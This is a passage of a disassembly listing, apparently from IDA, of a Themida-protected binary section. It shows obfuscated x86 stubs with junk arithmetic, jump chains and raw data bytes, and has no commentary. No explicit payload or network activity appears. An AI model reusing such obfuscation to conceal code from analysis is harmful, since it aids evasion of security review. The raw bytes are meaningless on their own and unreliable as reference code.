		dd 4, 52B4E981h, 0F9010C0Ch, 52B4C181h,	685F0C0Ch, 65D6h
		dd 0FF240C89h, 59042474h, 23A2E9h, 24048900h, 2747E9h
		dd 64C38000h, 0E950B050h, 8080h, 0E924248Bh, 0FFFF73C3h
		dd 159C829h, 1EE105D8h,	55B075Ch, 2, 8B240487h,	8B662424h
		dd 89512404h, 0BB5355E1h, 3FE567DDh, 97968CBDh,	8BDD294Fh
		dd 0C483241Ch, 55B85004h, 56F04DD1h, 0FFF84DE9h, 4E7C1FFh
		dd 0C0C8EF81h, 0FB29C2EFh, 8BDF895Fh, 0E3E9241Ch, 83FFFFEBh
		dd 2C8702C5h, 24248B24h, 754D6853h, 0C890000h, 52D58824h
		dd 0D388EA88h, 240C8B5Ah, 6804C483h, 3A70h, 83241489h
		dd 48904ECh, 0ACC8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568C62:				; CODE XREF: Themida_:0056FAF8j
		mov	esi, 23C84081h
		and	ecx, esi
		pop	esi
		or	ecx, 62E30F57h
		jmp	loc_56DBEF
; ---------------------------------------------------------------------------


loc_568C75:				; CODE XREF: Themida_:00560E59j
		push	6723h
		mov	[esp], esi
		jmp	loc_56E434
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 134Eh, 43ECE951h, 0C4FE0000h, 88B9EC80h, 786858E3h
		dd 8900007Bh, 0D8882404h, 88C18851h, 240C8BCAh,	4C481h
		dd 0A8E90000h, 68FFFFCEh, 0FD8h, 0BD242C89h, 6DCF4C98h
		dd 609CE9h
		db 0
; ---------------------------------------------------------------------------


loc_568CC5:				; CODE XREF: Themida_:0056BC5Cj
		neg	edi
		sub	edi, 32291B54h
		jmp	loc_571B81
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 52561B11h, 73D8E981h, 0D90101E2h, 73D8C181h,	0F0E901E2h
		dd 0B9FFFFE4h, 4, 5B3EEE81h, 0CE0154ADh, 5B3EC681h, 0C8B54ADh
		dd 4C48324h, 0FFA075E9h, 5AD501FFh, 3F92E9h, 3E1C100h
		dd 7D06B850h, 992D588Ah, 1321648h, 0AB5BE9C1h, 0C481FFFFh
		dd 4, 0FF841DE9h, 0E95659FFh, 124h, 89243C89h, 9A1CE9E7h
		dd 0C289FFFFh, 0E924048Bh, 0FFFF9033h, 0BC1EE81h, 0CE013F36h
		dd 0BC1C681h, 1593F36h,	0BD555EF1h, 4, 390EE9h,	0F7D8F700h
		dd 8E0C1D0h, 71CC3335h,	901BE919h, 815FFFFFh, 4C4h, 77DA6800h
		dd 1C890000h, 4BB24h, 0EEE90000h, 55FFFF84h, 2D0C75BDh
		dd 4547E912h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_573D6E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 9343E9h, 5585400h, 4, 4CF268h, 240C8900h,	1B95BE56h
		dd 10E9181Ah, 81FFFFB8h, 4ECh, 24148900h, 6520A1BAh, 67F2811Ch
		dd 0F70ACB10h, 0F2814ADAh, 768C568Ah, 0F281D2F7h, 19447644h
		dd 5770EE81h, 0D629190Bh, 5770C681h, 15A190Bh, 9511E9F5h
		dd 0E95D0000h, 8874h, 0D028F180h, 84E953E9h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568E23:				; CODE XREF: Themida_:00571D66j
		sub	edi, ebx
		pop	ebx
		sub	esi, edi
		jmp	loc_5734FB
; ---------------------------------------------------------------------------


loc_568E2D:				; CODE XREF: Themida_:00567326j
		mov	edi, 0A045CE5Dh
		jmp	loc_574477
; ---------------------------------------------------------------------------
aLS7		db '‹$$éÙ7',0
		dw 8100h
		dd 4C4h, 1C4F2100h, 0FF795DE9h,	243C89FFh, 0B5240481h
		dd 0E931D436h, 67CDh, 4EC81h, 0E2E90000h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568E67:				; CODE XREF: Themida_:00570CA2j
		add	esp, 4
		add	ebx, 6A0137EEh
		xor	ebx, 3D095B93h
		push	ecx
		mov	ecx, 1F983012h
		sub	ecx, 3804464Dh
		shr	ecx, 7
		and	ecx, 2A407362h
		sub	ecx, 0E7E22144h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5688D9
; ---------------------------------------------------------------------------
		db 5Ch,	0F7h, 0DDh
		dd 0F716895h, 0DEE90000h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EA7:				; CODE XREF: Themida_:0056E355j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_563012
; ---------------------------------------------------------------------------


loc_568EBB:				; CODE XREF: Themida_:00564D0Cj
		add	esp, 4
		sub	[esp+8], ebx
		pop	ebx
		pop	eax
		pop	dword ptr [edi+40h]
		push	ecx
		mov	ecx, 288E1D9Fh
		jmp	loc_56463B
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 50h
		dd 483232B8h, 40050542h, 0F748207Bh, 589635D8h,	582D23F2h
		dd 0E9BECED5h, 7B61h, 0FFC5814Dh, 0C1FFFFFFh, 3DE903EDh
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568F03:				; CODE XREF: Themida_:00566BEDj
		mov	edi, esp
		add	edi, 4
		jmp	loc_56888C
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0BF243C89h, 4, 0FFE78CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568F21:				; CODE XREF: Themida_:00567313j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5747D7
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 7FD92608h, 8247429h,	5524348Bh, 81F5E9h, 48F5B00h, 24248B24h
		dd 51C8AF0Fh, 7035E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568F6A:				; CODE XREF: Themida_:0056F7A6j
		sub	eax, 2D15B7h
		push	edx
		push	ebx
		mov	ebx, 505D6179h
		jmp	loc_5643EB
; ---------------------------------------------------------------------------
		db 0C1h
		dd 7BE904EFh, 53FFFFDEh, 6B7832BBh, 45E38170h, 0C1371E15h
		dd 7E902E3h, 8900002Eh,	0A682404h, 8900003Ch, 36E92424h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568FA7:				; CODE XREF: Themida_:0057052Bj
		pop	edx
		xor	ebx, [esp]
		jmp	loc_56E8F5
; ---------------------------------------------------------------------------


loc_568FB0:				; CODE XREF: Themida_:00565535j
		mov	esp, [esp]
		push	5EDAh
		mov	[esp], edi
		push	7A050C04h
		pop	edi
		push	1D13h
		mov	[esp], ecx
		push	esi
		push	701C57B7h
		pop	esi
		push	edx
		push	ebp
		jmp	loc_574E2A
; ---------------------------------------------------------------------------


loc_568FD7:				; CODE XREF: Themida_:0057097Ej
		add	edi, ecx
		jmp	loc_56A99B
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7830000h, 243C8704h, 8F24248Bh, 248B2404h
		dd 1E51E924h, 248B0000h, 0C896624h, 0C2B5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569006:				; CODE XREF: Themida_:00570045j
		sub	bl, ah
		mov	eax, [esp]
		jmp	loc_566C11
; ---------------------------------------------------------------------------


loc_569010:				; CODE XREF: Themida_:0056EE49j
		add	ecx, 440D019Ch
		jmp	loc_56DC40
; ---------------------------------------------------------------------------
		db 56h
		dd 0E904EC83h, 0FFFFCD7Ch, 4C481h, 0EC810000h, 4, 51243C89h
		dd 2D24BA52h, 0B8502B02h, 1DA85C1Dh, 0B11A8D05h, 58C209FCh
		dd 1154F281h, 0D1892B2Fh, 0FFEEE1E9h, 78F680FFh, 0C5E9F528h
		dd 5A00006Fh, 4C781h, 0E5E90000h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56906B:				; CODE XREF: Themida_:00563626j
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_56ADA2
; ---------------------------------------------------------------------------
		dw 0C229h
		dd 5AD30158h, 4E03C381h, 0EB2964E6h, 4E03EB81h,	0EB8164E6h
		dd 6317220h, 9379E9h
		db 0
; ---------------------------------------------------------------------------


loc_569099:				; CODE XREF: Themida_:0056768Dj
		push	7C39h
		jmp	loc_56DF06
; ---------------------------------------------------------------------------
		db 48h
		dd 0E10BF105h, 8BC289ADh, 0C4832404h, 5AD02904h, 5658C701h
		dd 0FFDA51E9h, 243487FFh, 0FF99BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5690C5:				; CODE XREF: Themida_:0056C85Dj
		shr	ecx, 0Ah
		push	0EF0h
		mov	[esp], ebx
		jmp	loc_56F8D3
; ---------------------------------------------------------------------------
a31S		db '3,$1,$é',0Bh,'(',0
		align 10h


loc_5690E0:				; CODE XREF: Themida_:005642C2j
		sub	ebp, eax
		pop	eax
		jmp	loc_575013
; ---------------------------------------------------------------------------
dword_5690E8	dd 240C8B66h, 0D4768h, 243C8900h, 0BD555F54h, 4, 685DEF01h
					; DATA XREF: Themida_:0055FDE4o
		dd 3F69h, 50240C89h, 0F361CAB8h, 3ED8E924h, 5B540000h
		dd 4C381h, 0B9510000h, 4F2B4CCDh, 0FFCF9CE9h, 1CF752FFh
		dd 86E2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56912E:				; CODE XREF: Themida_:00564473j
		add	ebp, 880FC670h
		mov	edx, ebp
		pop	ebp
		add	ebx, edx
		jmp	loc_5713EE
; ---------------------------------------------------------------------------
aSE		db '^é¿…',0
		align 4
aVVfg@shl	db 'V¾‚FG@éHl',0
		dw 0D300h
		dd 48E92424h, 0F7FFFF6Eh, 0F3EF81DFh, 834E544Dh, 0E7C101C7h
		dd 8CF78103h, 29F4C734h, 0CEE95FFAh, 8B00009Dh,	1C892424h
		dd 0FD57E924h, 34FFFFFFh, 611E924h
		db 2 dup(0)
word_569186	dw 34FFh		; DATA XREF: Themida_:0055FE84o
		dd 2434FF24h, 0DCE95058h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569193:				; CODE XREF: Themida_:00572247j
					; Themida_:005726E6j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_56E4C7
; ---------------------------------------------------------------------------


loc_5691AB:				; CODE XREF: Themida_:00567641j
		pop	edx
		shl	ebp, 7
		jmp	loc_565632
; ---------------------------------------------------------------------------
aFpR		db '(ÆfP°',0
		db 0C6h
		dd 52585866h, 0C281E289h, 4, 602AB951h,	0BD5539FFh, 1CD06912h
		dd 0E95DE929h, 0FFFF9A22h, 449BC581h, 3AE906BEh, 83000054h
		dd 0C3304C1h, 240C3124h, 0FFB6C5E9h, 24248BFFh,	6604C483h
		dd 6800B60Fh, 3A53h, 81241C89h,	4ECh, 24248900h, 1D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_569215:				; CODE XREF: Themida_:00567FB1j
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		bswap	eax
		jmp	loc_561D6B
; ---------------------------------------------------------------------------
		dw 42Dh
		dd 87000000h, 895C2404h, 0C7682404h, 5808155Dh,	42B2BF57h
		dd 4DE94133h, 0BA000080h, 2951290Eh, 48C9E9h, 4C68100h
		dd 0E9000000h, 0FFFF6F21h
; ---------------------------------------------------------------------------


loc_56925C:				; CODE XREF: Themida_:0056E8F0j
		push	ebp
		mov	ebp, 4
		push	ebp
		add	dword ptr [esp], 287E09D3h
		pop	edi
		jmp	loc_5727F9
; ---------------------------------------------------------------------------
		dd 0F04C483h, 4468C8BFh, 0E9000051h, 0AA3Bh, 835AD601h
		dd 348704C6h, 0F6815C24h, 2C3E0101h, 34FFF001h,	24348B24h
		dd 4C481h, 35E90000h, 0F7FFFFEDh, 0FFFF05D8h, 0C6E9FFFFh
		dd 0BB00007Eh, 39325933h, 77E4F381h, 2E93504h, 59FFFFE0h
		dd 8BA8E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5692C6:				; CODE XREF: Themida_:00562FB6j
		push	55BBh
		mov	[esp], eax
		jmp	loc_5605CD
; ---------------------------------------------------------------------------
byte_5692D3	db 66h			; DATA XREF: Themida_:0055FE78o
		dd 5124048Bh, 4EC81h, 24890000h, 22056824h, 53E90000h
		dd 6600002Eh, 0C52F681h, 52664E66h, 0A1BA66h, 66D60166h
		dd 0F681665Ah, 1667B46h, 8B665EF0h, 0C483243Ch,	0D0296602h
		dd 4EC81h, 1C890000h, 0A631E924h
		db 2 dup(0)
word_56931E	dw 77FFh		; DATA XREF: Themida_:0055FDA8o
		dd 58669D1Ch, 24041966h, 6C71E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56932E:				; CODE XREF: Themida_:0056075Bj
		push	17C5720Ch
		push	dword ptr [esp]
		pop	esi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5EEF4D95h
		or	esi, eax
		pop	eax
		push	edx
		jmp	loc_56EF2A
; ---------------------------------------------------------------------------
aZ4SC		db ']‡4$é[–',0
		db 0
; ---------------------------------------------------------------------------


loc_56936F:				; CODE XREF: Themida_:00572741j
		mov	eax, 4
		add	ecx, 0D477259h
		push	edx
		mov	edx, 6EDE47E8h
		jmp	loc_562160
; ---------------------------------------------------------------------------
aLSg		db '[‹<$éƒ|',0
		align 2
aFh		db 'fh',0
		align 2
		dw 0C28h
aS_7		db '$é°',9,0
		align 2
		dw 0E6D0h
		dd 6C0FE9h, 0E9DBF700h,	0FFFF6F97h
; ---------------------------------------------------------------------------


loc_5693A8:				; CODE XREF: Themida_:0057269Cj
		xor	ecx, 0E334007h
		and	ecx, 6F5494Eh
		sub	ecx, 0CABFC8D2h
		mov	edi, ecx
		pop	ecx
		mov	ebp, edi
		jmp	loc_5750D2
; ---------------------------------------------------------------------------


loc_5693C4:				; CODE XREF: Themida_:00573D24j
		sub	ecx, edx
		add	ecx, 7FF950FDh
		jmp	loc_56E30A
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0D7h
		dd 81751A62h, 0EB746EC1h, 0FF515E65h, 59042474h, 0E924048Fh
		dd 0FFFFA23Fh, 4240483h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_574481
; ---------------------------------------------------------------------------
		db 58h
		dd 0F12DD0F7h, 0E98044B7h, 39A4h, 8704E883h, 895C2404h
		dd 0EC81243Ch, 4, 83242489h, 0E9042404h, 3A06h,	0F955F381h
		dd 0DE31EA41h, 5EF1895Bh, 0E901C183h, 0FFFFF8D9h, 0E188D488h
		dd 0E924048Bh, 40B7h, 5C240433h, 0E9240431h, 0FFFF6B4Fh
		dd 0C53C21BAh, 0D9E94A7Fh, 5D000034h, 11D8C681h, 1CE91FAFh
		dd 5CFFFFCAh, 68241C89h, 2E43h,	89242C89h, 1C8B55C5h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 8B2434FFh,	0C481242Ch
		dd 4, 8904EC83h, 8B54242Ch, 0C481242Ch,	4, 4C581h, 0E9510000h
		dd 0FFFF97C4h, 83243489h, 8F5404ECh, 4812404h, 424h, 8569E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5694CA:				; CODE XREF: Themida_:00572336j
		cmp	ecx, eax
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------


loc_5694D2:				; CODE XREF: Themida_:0056A3DDj
		sub	eax, 7D24F26Eh
		sub	ebx, 4D165E73h
		sub	ebx, eax
		add	ebx, 4D165E73h
		jmp	loc_56737B
; ---------------------------------------------------------------------------


loc_5694EA:				; CODE XREF: Themida_:0056FD49j
		add	ecx, 332B3CCAh
		pop	edx
		xor	ecx, [esp]
		jmp	loc_56C89C
; ---------------------------------------------------------------------------
		db 68h,	34h, 53h
		dd 24E9767Fh, 68FFFFA8h, 54F0h,	0B9240C89h, 6C435CB0h
		dd 8159CF31h, 496817E7h, 60685064h, 58301951h, 2671C781h
		dd 0C7295FC6h, 2671EF81h, 29585FC6h, 815B5FF9h,	4ECh, 0F90FE900h
		dd 535DFFFFh, 0EF2F4DBBh, 8BDE2964h, 0C481241Ch, 4, 3CD8C681h
		dd 0DE013037h, 0FFB7B4E9h, 80C1FEFFh, 0E95066C1h, 0BDF3h
; ---------------------------------------------------------------------------


loc_569568:				; CODE XREF: Themida_:00573578j
		pop	edx
		add	esp, 4
		push	esi
		jmp	loc_574727
; ---------------------------------------------------------------------------
		dw 8F59h
		dd 0E95C2404h, 0A0DDh, 547C181h, 0C3E94873h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569587:				; CODE XREF: Themida_:0057474Cj
		mov	[esp], edx
		mov	edx, 45610ACBh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_573D0E
; ---------------------------------------------------------------------------
		dw 5253h
		dd 5E1B4BBAh, 597ABB69h, 0EB81DBD6h, 2C007A1Dh,	8668D301h
		dd 0E900007Ch, 0FFFF77AFh, 3E58F281h, 0E95050FEh, 0FFFFB5DFh
; ---------------------------------------------------------------------------


loc_5695C4:				; CODE XREF: Themida_:0056ACBBj
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_560DF8
; ---------------------------------------------------------------------------
		db 5
		dd 64A422D4h, 5351F801h, 0FFA634E9h, 0E9E189FFh, 0B262h
; ---------------------------------------------------------------------------


loc_5695E4:				; CODE XREF: Themida_:0057211Bj
		shl	ebx, 7
		jmp	loc_56BD93
; ---------------------------------------------------------------------------
		dd 0EF81EF01h, 59D750FEh, 0BFB9515Dh, 16E377Ch,	0F80159C8h
		dd 377CBF2Dh, 243C8B6Eh, 4C481h, 4050000h, 87000000h, 248B2404h
		dd 38146824h, 25E90000h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569623:				; CODE XREF: Themida_:00570B5Aj
		xor	ebx, 248B5AE4h
		add	ebx, 4D82BDD1h
		add	edi, ebx
		pop	ebx
		add	eax, edi
		jmp	loc_5719D5
; ---------------------------------------------------------------------------


loc_569639:				; CODE XREF: Themida_:00571CD6j
		xor	esi, 47D73E2Ch
		and	esi, 656B6B01h
		sub	esi, 2D4E0C79h
		sub	esi, 29ED6F1Eh
		neg	esi
		jmp	loc_574206
; ---------------------------------------------------------------------------
		dd 290AB850h, 1CE9535Bh, 89FFFFADh, 4C381E3h, 0E9000000h
		dd 213Eh, 2AF668h, 24048900h, 150168h, 24248900h, 46852h
		dd 0E95A0000h, 8D25h, 0E924048Fh, 0FFFF973Ch
; ---------------------------------------------------------------------------


loc_569694:				; CODE XREF: Themida_:0056BE29j
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_56FBB4
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 3E92434h,	5000006Ah, 95E9E089h, 5FFFFFF2h
		dd 5002E883h, 42474FFh,	3914E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5696C6:				; CODE XREF: Themida_:0057279Aj
		add	esp, 4
		not	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57040D
; ---------------------------------------------------------------------------
		db 5Ch,	50h, 89h
		dd 405E0h, 0E8830000h, 24048704h, 0E924248Bh, 0FFFF95A8h
		dd 28FDF680h, 2434FFF5h, 425AE95Ah, 282D0000h, 290B4242h
		dd 422805D8h, 0B9510B42h, 1E9A56D4h, 5259C829h,	1470B850h
		dd 3F256F93h, 0E94B694Ch, 3656h, 0C781CF01h, 7AD64362h
		dd 0FF98A7E9h, 0DE895DFFh, 0FFFE315Bh, 3C8B2434h, 1AD9E924h
		dd 0EFC10000h, 8B13E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56974A:				; CODE XREF: Themida_:0056DF11j
		pop	eax
		jmp	loc_566CC9
; ---------------------------------------------------------------------------


loc_569750:				; CODE XREF: Themida_:0056262Aj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_570A0D
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7830000h, 863FE904h, 335EFFFFh, 3C31243Ch
		dd 243C3324h, 0FE24248Bh, 0E99C2404h, 0FFFF6817h, 347B850h
		dd 44294D49h, 55E90424h, 0FFFFFFC4h, 148B2434h,	9CFDE924h
		dd 0F8290000h, 2404335Fh, 33240431h, 0E95C2404h, 0FFFF79D3h
; ---------------------------------------------------------------------------


loc_5697B4:				; CODE XREF: Themida_:00568268j
		xor	ebp, 73B35074h
		push	esi
		jmp	loc_56C1A1
; ---------------------------------------------------------------------------
		dd 3E9C301h, 5900000Ah,	0EAABF57h, 0EF813112h, 3F06E9Fh
		dd 0E95FFB01h, 0EFBh, 0ED815D59h, 34810628h, 0C581CD01h
		dd 34810628h, 8541E959h
		db 2 dup(0FFh)
word_5697F2	dw 0FF66h		; DATA XREF: Themida_:0055FD58o
a2ssv		db '2éè‚',0
		align 2
aSp		db '\ép¸',0
		align 10h
		dd 0E903E7C1h, 1994h, 0E3E9FA09h, 81FFFF7Eh, 16802434h
		dd 815E4794h, 941680F6h, 24048B47h, 4C481h, 0E94E0000h
		dd 90E3h
; ---------------------------------------------------------------------------


loc_56982C:				; CODE XREF: Themida_:0056C305j
		mov	esi, 476D0F55h
		add	esi, 0B892F0AFh
		sub	edi, esi
		pop	esi
		jmp	loc_56107E
; ---------------------------------------------------------------------------


loc_56983F:				; CODE XREF: Themida_:005699D5j
		pop	esp
		jmp	loc_572CD0
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 4
		dd 7562E9h, 62E3BE00h, 0F0017A92h, 20D0055Eh, 90E93A4Fh
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56985F:				; CODE XREF: Themida_:0056E59Fj
		mov	edx, [esp]
		jmp	loc_572C0F
; ---------------------------------------------------------------------------
		db 5
		dd 54EE7897h, 576B9D2Dh, 5E8011Ah, 1A576B9Dh, 7897BF57h
		dd 0F82954EEh, 1F0F055Fh, 34FF6DEDh, 89505D24h,	405E0h
		dd 0C0830000h, 0AAAAE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56989A:				; CODE XREF: Themida_:00571D3Ej
		not	edi
		xchg	edi, ebx
		xchg	eax, ebx
		jmp	loc_561CBF
; ---------------------------------------------------------------------------
		dd 5246D6F7h, 57F9BD55h, 0EA893146h, 2EAC15Dh, 2900CA81h
		dd 0EA817177h, 45AE5E23h, 0C7F281h, 0EF684200h,	89000043h
		dd 5BE2434h, 314BA502h,	0EA815EF2h, 5DD31CB3h, 25F4CA81h
		dd 0ADE941D4h, 0F7000020h, 7BC181D1h, 814ECA74h, 658F5CE9h
		dd 0E9CB89BDh, 0A15Fh, 0E9241C89h, 0FFFFD4D7h
; ---------------------------------------------------------------------------


loc_569904:				; CODE XREF: Themida_:0056A4B8j
		add	bl, 1Fh
		sub	al, bl
		pop	ebx
		push	ecx
		mov	cl, 0B0h
		push	ebx
		mov	bh, 20h
		not	bh
		dec	bh
		or	bh, 0CFh
		not	bh
		sub	bh, 0F8h
		add	cl, bh
		mov	ebx, [esp]
		add	esp, 4
		add	al, cl
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_56B9D0
; ---------------------------------------------------------------------------
a_hY		db '_h[y',0
		align 2
		dw 2C89h
		dd 45F9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56993E:				; CODE XREF: Themida_:00572258j
		push	2C3Ch
		mov	[esp], edx
		jmp	loc_565CF4
; ---------------------------------------------------------------------------
		db 81h
		dd 5047BEF7h, 0D4C78172h, 21AB7F5Bh, 0D1F75FF9h, 52BA5241h
		dd 812C9A07h, 497993F2h, 10E94270h, 8100001Ah, 6D3DFFF1h
		dd 0F3D2E9B7h, 665CFFFFh, 0E924048Bh, 8B94h, 0BC1DE981h
		dd 0C181CC53h, 1, 0F8BA5249h, 0E9094921h, 6E65h, 10B8EABFh
		dd 0E189510Fh, 4C181h, 0E9810000h, 4, 5C240C87h, 28ADE9h
		dd 0B7E95700h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5699BF:				; CODE XREF: Themida_:00567C8Cj
		and	eax, 17EB00DBh
		sub	eax, 17C3007Fh
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56983F
; ---------------------------------------------------------------------------


loc_5699DA:				; CODE XREF: Themida_:0056DDE6j
		mov	ecx, esp
		jmp	loc_565D60
; ---------------------------------------------------------------------------
		db 0BEh, 0EFh, 4Fh
		dd 0EC836974h, 242C8904h, 0F10F6EBDh, 5DEE315Dh, 1EDFE9h
		dd 3AFF6800h, 2C890000h, 712FBD24h, 0C583275Ch,	0CD814DFFh
		dd 3AA449A1h, 748FE581h, 0E94D58CCh, 0FFFFB4B0h
; ---------------------------------------------------------------------------


loc_569A1C:				; CODE XREF: Themida_:005716FEj
		sub	edi, 0F50BC158h
		mov	ebx, edi
		pop	edi
		mov	edx, ebx
		jmp	loc_56E15B
; ---------------------------------------------------------------------------
		dd 4C481h, 9BE90000h
		db 38h,	2 dup(0)
byte_569A37	db 68h			; DATA XREF: Themida_:0055FCDCo
		dd 352Eh, 0E9240C89h, 9FC8h
; ---------------------------------------------------------------------------


loc_569A44:				; CODE XREF: Themida_:00574BF0j
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_571974
; ---------------------------------------------------------------------------
		dw 335Dh
		dd 4312404h, 0F9E6E924h, 48BFFFFh, 0E6895624h, 8186E953h
		dd 0C981FFFFh, 739D0EAEh, 924FE9h
		db 0
byte_569A75	db 0ACh, 66h, 68h	; DATA XREF: Themida_:0055FDB8o
		dd 896648BDh, 0E951241Ch, 419Ch
dword_569A84	dd 24048B66h, 50A368h, 243C8900h, 0FE9AE954h, 0C131FFFFh
					; DATA XREF: Themida_:0055FEF8o
		dd 8324048Bh, 0CAE904C4h, 8300005Ch, 0F02904C4h, 597D2D5Eh
		dd 76E97831h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569AB3:				; CODE XREF: Themida_:0056FB3Ej
		push	ebp
		mov	ebp, 5424613Eh
		jmp	loc_568B35
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 586796EBh, 81C32923h, 586796C3h, 4EC8323h, 0FFB93CE9h
		dd 243487FFh, 0FFC1EDE9h, 58C301FFh, 5F2434FFh,	4C481h
		dd 0D7680000h, 89000054h, 74FF241Ch, 1C8B0424h,	7675E924h
		dd 8B5AFFFFh, 6AE92434h, 680000B7h, 157Eh, 0E9241C89h
		dd 0FFFFBF66h, 4C52AB68h, 0E8315860h, 0FFED32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569B21:				; CODE XREF: Themida_:00569DCDj
		mov	ebx, 73B8274Fh
		sub	ecx, ebx
		pop	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	63A3h
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 0B303477h
		sub	esi, 0B303473h
		add	ebp, esi
		jmp	loc_573BDD
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 78750968h, 4D685F5Dh, 89000015h, 68502434h, 7C2Ah, 0BA241489h
		dd 11187092h, 505AD089h, 0FFFC9AE9h, 0C3E955FFh, 5E000035h
		dd 148BD001h, 4C48124h,	1000000h, 6AA52DE8h, 0B1E96BF7h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569B93:				; CODE XREF: Themida_:005752ACj
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		sub	edx, 59596094h
		jmp	loc_563454
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4316624h, 0ECE99C24h, 89FFFF63h, 0D90158C3h,	240C875Bh
		dd 0E924248Bh, 9AB9h, 8DD7E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569BCA:				; CODE XREF: Themida_:0056C605j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_572044
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0E74D3ED2h, 15E9E989h, 87000078h, 2D5C243Ch,	1942549Fh
		dd 9F05F801h, 5194254h,	640547C1h, 5F2434FFh, 4C481h, 555E0000h
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 546FE9h
		db 0
; ---------------------------------------------------------------------------


loc_569C1D:				; CODE XREF: Themida_:0057119Cj
		mov	esp, [esp]
		jmp	loc_574DD4
; ---------------------------------------------------------------------------
		db 0B9h, 0F7h, 7Ah
		dd 0BCE9528Dh, 81FFFFC2h, 8B587FEDh, 0E2C5810Fh, 2959F02Fh
		dd 1E4FE9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569C42:				; CODE XREF: Themida_:00566D45j
		pop	esp
		jmp	loc_5615A4
; ---------------------------------------------------------------------------


loc_569C48:				; CODE XREF: Themida_:00564EC7j
		neg	edi
		sub	edi, 45E860C3h
		sub	eax, 926EF9h
		add	eax, edi
		add	eax, 926EF9h
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		xchg	ebx, [esp]
		not	ebx
		jmp	loc_560BB9
